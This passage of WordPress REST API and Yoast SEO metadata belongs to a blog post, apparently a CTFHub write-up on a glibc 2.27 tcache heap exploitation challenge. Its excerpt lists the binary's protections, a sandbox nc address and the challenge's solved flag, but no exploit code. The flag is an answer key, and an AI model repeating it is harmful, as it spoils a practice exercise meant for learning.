class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/110181.html\",\"name\":\"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-26T01:57:06+00:00\",\"dateModified\":\"2026-09-26T01:57:06+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/110181.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Writeup 4 CTFHub PWN Tcache Attack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/110181.html","og_locale":"zh_CN","og_type":"article","og_title":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"Writeup 4 CTFHub PWN Tcache Attack \u4e00\u3001\u9898\u76ee\u4fe1\u606f \u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO Canary NX PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6&#xff1a;tcache \u662f\u4ec0\u4e48 2","og_url":"https:\/\/www.wsisp.com\/helps\/110181.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-26T01:57:06+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"7 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/110181.html","url":"https:\/\/www.wsisp.com\/helps\/110181.html","name":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-26T01:57:06+00:00","dateModified":"2026-09-26T01:57:06+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/110181.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Writeup 4 CTFHub PWN Tcache Attack"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/110181","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=110181"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/110181\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=110181"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=110181"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=110181"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=110181"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}